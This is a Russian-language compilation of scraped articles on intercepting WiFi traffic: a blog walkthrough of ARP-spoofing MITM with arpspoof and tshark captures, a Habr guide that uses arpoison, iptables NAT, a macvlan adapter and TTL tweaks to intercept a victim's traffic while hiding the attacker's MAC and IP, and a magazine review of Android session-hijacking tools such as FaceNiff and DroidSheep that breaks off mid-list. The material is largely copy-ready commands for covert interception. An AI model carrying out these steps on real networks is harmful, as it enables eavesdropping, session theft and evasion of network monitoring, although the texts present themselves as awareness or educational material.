Еще один способ перехвата трафика через ARP Spoofing. Перехват трафика wifi роутера


Перехват трафика устройств, подключённых через публичную точку доступа WiFi (атака MITM)

Вчера @akaDimiG сбросил мне небольшую заметку "Безопасность Wi-Fi в iPhone под сомнением", которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi. Ничего нового это исследование не открыло - эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) "New Tricks For Defeating SSL In Practice".

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая "жертве" данные по http. Но если "жертва" пойдёт прямо на "https://gmail.com", то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну "жертву". Исследование - это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости - в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического "SSL Bypass" давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию "AP Isolation", тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался...

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate $ port search dsniff dsniff @2.3 (net) network auditing and penetration testing tools dsniff-devel @2.4b1 (net) network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес "жертвы". Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован "исследователь". Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10 86.799891 0.0.0.0 -> 255.255.255.255 DHCP DHCP Request - Transaction ID 0x702c1385 86.799930 Apple_43:7e:5b -> Broadcast ARP Gratuitous ARP for 192.168.99.12 (Request) 87.208880 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 87.329216 192.168.99.12 -> 224.0.0.2 IGMP V2 Leave Group 224.0.0.251 87.336388 192.168.99.12 -> 224.0.0.251 IGMP V2 Membership Report / Join group 224.0.0.251 87.535037 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 87.633880 Apple_43:7e:5b -> Broadcast ARP Who has 192.168.99.1? Tell 192.168.99.12 87.635113 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, "QU" question 87.790738 Apple_43:7e:5b -> Broadcast ARP Who has 192.168.99.1? Tell 192.168.99.12 87.885778 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, "QM" question 87.935788 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 88.135397 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, "QM" question 88.336400 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 88.385319 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 89.461989 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 91.407420 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 94.457022 192.168.99.12 -> 224.0.0.251 IGMP V2 Membership Report / Join group 224.0.0.251 95.401260 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding net.inet.ip.forwarding: 0 $ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы "жертве" в ответ на запрос mac маршрутизатора выдался mac "исследователя":

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
  • -i en1 - AirPort
  • -t 192.168.99.12 - адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
  • 192.168.99.1 - адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c - это mac ноутбука исследователя:

$ ifconfig en1 en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255 ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик "жертвы" проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12 Capturing on en1 0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com 9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com 9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host) 9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0 9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0 9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811 9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811 9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881 9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881 9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1 9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1 9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948 9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948 9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948 9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948 9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948 9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948 9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568 9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568 9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572 9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572 9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573 9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573 9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1 9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1 9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1 9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1 9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1 9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12 Capturing on en1 0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data 4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data 4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461 4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461 4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546 5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546 5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298 5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298 5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data 5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data 5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.

ctrld.me

Еще один способ перехвата трафика через ARP Spoofing / Хабрахабр

На Хабре было уже много статей на тему классического ARP спуфинга, однако все они были похожи тем, что для полноценного перехвата трафика надо было подменять ARP записи у двух машин. Как правило, это жертва и ее шлюз по умолчанию. Однако, идея спуфить шлюз не всегда хороша. Он вполне может иметь на борту детектор атак, который в два счета доложит админу что сеть ломают и халява кончится, не начавшись. В данной статье будет рассмотрен метод перехвата трафика, при котором атака производится только на хост-жертву. Как обычно в таких случаях, статья чисто для ознакомления, использование во вред карается по закону и т.д. Под катом много букв.

Сразу оговорюсь, что для атак будет использоваться Linux. Профессионалам сетевой безопасности просьба ногами не бить.

Чуть-чуть об ARP
При написании статьи я буду исходить из того, что читающий хотя бы примерно знает, кто такой ARP, зачем и как он работает. Почитать можно тут. Если совсем вкратце, то ARP используется для того, чтобы понять, на какой физический MAC-адрес слать пакет, если известен IP получателя. Соответственно, подменив настоящий MAC адрес некоторого узла на свой в ARP таблице жертвы, мы добьемся того, что пакеты для такого узла жертва пошлет нам. Мы же можем как напрямую переслать такие пакеты до настоящего получателя, так и менять их на ходу перед отправкой. Здесь есть одна проблема. Если просто пересылать пакеты дальше, то мы увидим лишь половину трафика, так как получатель будет отправлять ответ жертве напрямую. Обычно для решения этой проблемы получатель делается второй жертвой и подвергается симметричной атаке. Но с другой стороны, обычно хочется перехватить интернет-трафик жертвы, а значит получателем будет сетевой шлюз. И если этот шлюз не простой домашний роутер, а что-то более серьезное, то проводить на него ARP атаку крайне нежелательно.
Простой вариант атаки
Итак, пусть мы хотим перехватить трафик жертвы, при этом мы можем слать «заведомо паленые» пакеты только на машину жертвы. Решение состоит в том, чтобы поднять у себя на машине NAT и вместо прямой пересылки отправлять трафик на шлюз уже со своего интерфейса. В этом случае мы работаем для жертвы как еще один NAT-шлюз.
Конфигурация сети
Пусть есть в сеть 192.168.0.0/24 со шлюзом 192.168.0.1. Для удобства, пусть MAC адреса адаптеров будут вида 00-00-00-00-00-XX, где XX — последняя цифра IP адреса, то есть MAC шлюза у нас будет 00-00-00-00-00-01.

В сети есть машины:

192.168.0.1 / 00-00-00-00-00-01 — шлюз192.168.0.3 / 00-00-00-00-00-03 — жертва

eth0 — 192.168.0.5 / 00-00-00-00-00-05 — наша машина, с которой будем атаковать. В сеть подключен единственный сетевой интерфейс eth0

Утилиты
Для ARP спуфинга будем использовать утилиту arpoison. Она, в отличие, от arpspoof из пакета dsniff, не требует корректной IP конфигурации интерфейса, с которого происходит спуфинг (это нам понадобится чуть позже).
Поехали
Итак, для начала разрешим маршрутизацию пакетов: # sysctl net.ipv4.ip_forward = 1 # iptables -A FORWARD -j ACCEPT теперь запустим ARP спуфинг: # arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:05 ARP reply 1 sent via eth0 ARP reply 2 sent via eth0 ARP reply 3 sent via eth0 все, машина жертвы теперь уверена, что 192.168.0.1 — это наш eth0. Можно проверить и убедиться (выполняем на жертве): # arp Address HWtype HWaddress Flags Mask Iface 192.168.0.1 ether 00:00:00:00:00:05 C eth0 поднимаем на нашей машине NAT (для простоты будет маскарадить все, что форвардится и отправлено не на localhost): # iptables -t nat -A POSTROUTING ! -d 127.0.0.1/8 -j MASQUERADE готово. Проверяем, пингуя шлюз с жертвы, на нашей машине видим примерно такую картину: # tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:05 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.5 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64 видно, что пинг пришел к нам, от нас с нашего IP ушел на шлюз, а вернувшийся ответ ушел отправителю. Словом, обычный NAT.
Усложняем задачу
Трафик-то мы перехватили, однако умудрились при этом засветить свой IP и MAC, что позволит взять нас за мягкое место при первом открытии wireshark на жертве или при просмотре логов на шлюзе. Попробуем повторить фокус, но при этом наследить поменьше. Для этого поднимем виртуальный адаптер с другимb MAC и IP.

Cоздаем адаптер, он получит случайный MAC, пусть у нас он будет 00-00-00-00-00-06:

# ip link add link eth0 dev virt0 type macvlan # ifconfig virt0 up # ifconfig virt0 virt0: flags=4098<BROADCAST,MULTICAST> mtu 1500 ether 00:00:00:00:00:06 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 пропишем IP адрес или возьмем его по DHCP. Во втором случае после получения адреса не забываем выкинуть все маршруты через virt0: # dhcpcd virt0 dhcpcd[28920]: version 6.3.2 starting dhcpcd[28920]: DUID 00:01:00:01:19:9d:11:86:00:00:00:00:00:05 dhcpcd[28920]: virt0: IAID 00:e8:8a:01 dhcpcd[28920]: virt0: soliciting an IPv6 router dhcpcd[28920]: virt0: soliciting a DHCP lease dhcpcd[28920]: virt0: offered 192.168.0.6 from 192.168.0.1 dhcpcd[28920]: virt0: leased 192.168.0.6 for 3600 seconds dhcpcd[28920]: virt0: adding route to 192.168.0.0/24 dhcpcd[28920]: virt9: adding default route via 192.168.0.1 dhcpcd[28920]: forked to background, child pid 29059 # dhcpcd -x virt0 dhcpcd[29192]: sending signal TERM to pid 29059 dhcpcd[29192]: waiting for pid 29059 to exit # ifconfig virt0 down # ifconfig virt0 up после таких манипуляций у нас должен появиться адаптер virt0 с MAC 00-00-00-00-00-06 и IP 192.168.0.6 и без единого маршрута через него.

Следующим этапом добавляем правило маршрутизации при котором все пакеты, пришедшие с virt0, будут пересылаться через него же:

# ip route add 192.168.0.0/24 dev virt0 table 100 # ip rule add iif virt0 lookup 100 # ip route show table 100 192.168.0.0/24 dev virt0 scope link # ip rule 0: from all lookup local 32765: from all iif virt0 lookup 100 32766: from all lookup main 32767: from all lookup default Теперь можно запустить спуфинг и посмотреть, что получилось: # arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:06 # tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64 на первый взгляд все красиво, однако мы засветили свой настоящий MAC. Произошло это потому, что на ARP запрос, какой MAC у 192.168.0.6 наша машина радостно ответила шлюзу настоящим адресом сетевой карты. Чтобы такого не было, надо сделать следующее: # sysctl net.ipv4.conf.all.arp_ignore=1 теперь на ARP запросы будет отзываться только настоящий адаптер. Осталось решить проблему доставки MAC адреса виртуального адаптера шлюзу. Можно это сделать например тем же arpoison, указав настоящие адреса и интервал побольше. В этом случае такие ARP ответы не должны вызвать подозрение: # arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00:00:00:00:00:01 -r 00:00:00:00:00:06 -w 5 все, теперь шлюз знает, куда отправить ответ и картинка становится красивой: # tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:06 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64

Осталась самая малость. Во-первых запретить системе принимать входящие (не пересылаемые) пакеты на виртуальном интерсейсе, чтоб кто-нибудь любопытный не сравнил список сервисов на 192.168.0.6 и 192.168.0.5

# iptables -A INPUT -i virt0 -j DROP

Во-вторых (спасибо AEP) выключить отправку ICMP time exceeded in-transit, чтобы в traceroute не появился наш реальный адрес

# iptables -A OUTPUT -p icmp --icmp-type 11 -j DROP

В третьих (спасибо kay) добавить увеличение TTL, чтобы на пингах и в traceroute не было видно факта маршрутизации через нас

# iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1
Вместо заключения
В итоге у нас получилось перехватить трафик, атаковав только машину жертвы, не засветив при этом свои реальные IP и MAC. Перехваченные пакеты при этом маршрутизируются стандартными средствами. Также можно настроить более веселые правила маршрутизации, открыть на virt0 80 порт и позаниматься фишингом, но это уже другая история.

UPD: было бы интересно почитать в комментах, как такую схему все таки можно запалить, не имея в сети l3 маршрутизации.

habrahabr.ru

HOW-TO: как из iOS/Android сделать хакерский инструмент

Содержание статьи

«Смартфон с хакерскими утилитами? Нет такого», — еще недавно сказали бы мы тебе. Запустить каике-то привычные инструменты для реализации атак можно было разве что на каком-нибудь Maemo. Теперь же многие привычные инструменты портировали под iOS и Android, а некоторые хак-тулзы были специально написаны для мобильного окружения. Может ли смартфон заменить ноутбук в тестах на проникновение? Мы решили проверить.

 

ANDROID

Android — популярная платформа не только для простых смертных, но и для правильных людей. Количество полезных ][-утилит здесь просто зашкаливает. За это можно сказать спасибо UNIX-корням системы — это значительно упростило портирование многих инструментов на Android. Увы, некоторые из них Google не пускает в Play Store, так что придется ставить соответствующие APK вручную. Также для некоторых утилит нужен максимальный доступ к системе (например, файрволу iptables), поэтому следует заранее позаботиться о root-доступе. Для каждого производителя здесь используется собственная технология, но найти необходимую инструкцию достаточно просто. Неплохой набор HOWTO собрал ресурс LifeHacker (bit.ly/eWgDlu). Однако если какой-то модели тут найти не удалось, на помощь всегда приходит форум XDA-Developers (www.xda-developers.com), на котором можно найти различную информацию фактически по любой модели Android-телефона. Так или иначе, часть из ниже описанных утилит заработают и без root-доступа.

 

Менеджер пакетов

BotBrew

Начнем обзор с необычного менеджера пакетов. Разработчики называют его «утилитами для суперпользователей», и это недалеко от правды. После установки BotBrew ты получаешь репозиторий, откуда можешь загрузить огромное количество скомпилированных под Android привычных инструментов. Среди них: интерпретаторы Python и Ruby для запуска многочисленных инструментов, которые на них написаны, сниффер tcpdump и сканер Nmap для анализа сети, Git и Subversion для работы с системами контроля версий и многое другое.

 

Сетевые сканеры

PIPS

Незаметный смартфон, который в отличие от ноутбука легко помещается в карман и никогда не вызывает подозрений, может быть полезен для исследования сети. Выше мы уже сказали, как можно установить Nmap, но есть еще один вариант. PIPS — это специально адаптированный под Android, хотя и неофициальный порт сканера Nmap. А значит, ты сможешь быстро найти активные устройства в сети, определить их ОС с помощью опций по fingerprinting’у, провести сканирование портов — короче говоря, сделать все, на что способен Nmap.

Fing

С использованием Nmap’а, несмотря на всю его мощь, есть две проблемы. Во-первых, параметры для сканирования передаются через ключи для запуска, которые надо не только знать, но еще и суметь ввести с неудобной мобильной клавиатуры. А во-вторых, результаты сканирования в консольном выводе не такие наглядные, как того хотелось бы. Этих недостатков лишен сканнер Fing, который очень быстро сканирует сеть, делает fingerprinting, после чего в понятной форме выводит список всех доступных устройств, разделяя их по типам (роутер, десктоп, iPhone и так далее). При этом по каждому хосту можно быстро посмотреть список открытых портов. Причем прямо отсюда можно подключиться, скажем, к FTP, используя установленный в системе FTP-клиент, — очень удобно.

NetAudit

Когда речь идет об анализе конкретного хоста, незаменимой может оказаться утилита NetAudit. Она работает на любом Android-устройстве (даже нерутованном) и позволяет не только быстро определить устройства в сети, но и исследовать их с помощью большой fingerprinting-базы для определения операционной системы, а также CMS-систем, используемых на веб-сервере. Сейчас в базе более 3000 цифровых отпечатков.

Net Tools

Если же нужно, напротив, работать на уровне ниже и тщательно исследовать работу сети, то здесь не обойтись без Net Tools. Это незаменимый в работе системного администратора набор утилит, позволяющий полностью продиагностировать работу сети, к которой подключено устройство. Пакет содержит более 15 различного рода программ, таких как ping, traceroute, arp, dns, netstat, route.

 

Манипуляции с трафиком

Shark for Root

Основанный на tcpdump сниффер честно логирует в pcap-файл все данные, которые далее можно изучить с помощью привычных утилит вроде Wireshark или Network Miner. Так как никакие возможности для MITM-атак в нем не реализованы, это скорее инструмент для анализа своего трафика. К примеру, это отличный способ изучить то, что передают программы, установленные на твой девайс из сомнительных репозиториев.

FaceNiff

Если говорить о боевых приложениях для Android, то одним из самых нашумевших является FaceNiff, реализующий перехват и внедрение в перехваченные веб-сессии. Скачав APK-пакет с программой, можно практически на любом Android-смартфоне запустить этот хек-инструмент и, подключившись к беспроводной сети, перехватывать аккаунты самых разных сервисов: Facebook, Twitter, «ВКонтакте» и так далее — всего более десяти. Угон сессии осуществляется средствами применения атаки ARP spoofing, но атака возможна только на незащищенных соединениях (вклиниваться в SSL-трафик FaceNiff не умеет). Чтобы сдержать поток скрипткидисов, автор ограничил максимальное число сессий тремя — дальше нужно обратиться к разработчику за специальным активационным кодом.

DroidSheep

Если создатель FaceNiff хочет за использование денежку, то DroidSheep — это полностью бесплатный инструмент с тем же функционалом. Правда, на официальном сайте ты не найдешь дистрибутива (это связано с суровыми законами Германии по части security-утилит), но его без проблем можно найти в Сети. Основная задача утилиты — перехват пользовательских веб-сессий популярных социальных сетей, реализованный с помощью все того же ARP Spoofing’а. А вот с безопасными подключениями беда: как и FaceNiff, DroidSheep наотрез отказывается работать с HTTPS-протоколом.

Network Spoofer

Эта утилита также демонстрирует небезопасность открытых беспроводных сетей, но несколько в другой плоскости. Она не перехватывает пользовательские сессии, но позволяет с помощью спуфинг-атаки пропускать HTTP-трафик через себя, выполняя с ним заданные манипуляции. Начиная от обычных шалостей (заменить все картинки на сайте троллфейсами, перевернуть все изображения или, скажем, подменив выдачу Google) и заканчивая фишинговыми атаками, когда пользователю подсовываются фейковые страницы таких популярных сервисов, как facebook.com, linkedin.com, vkontakte.ru и многих других.

Anti (Android Network Toolkit by zImperium LTD)

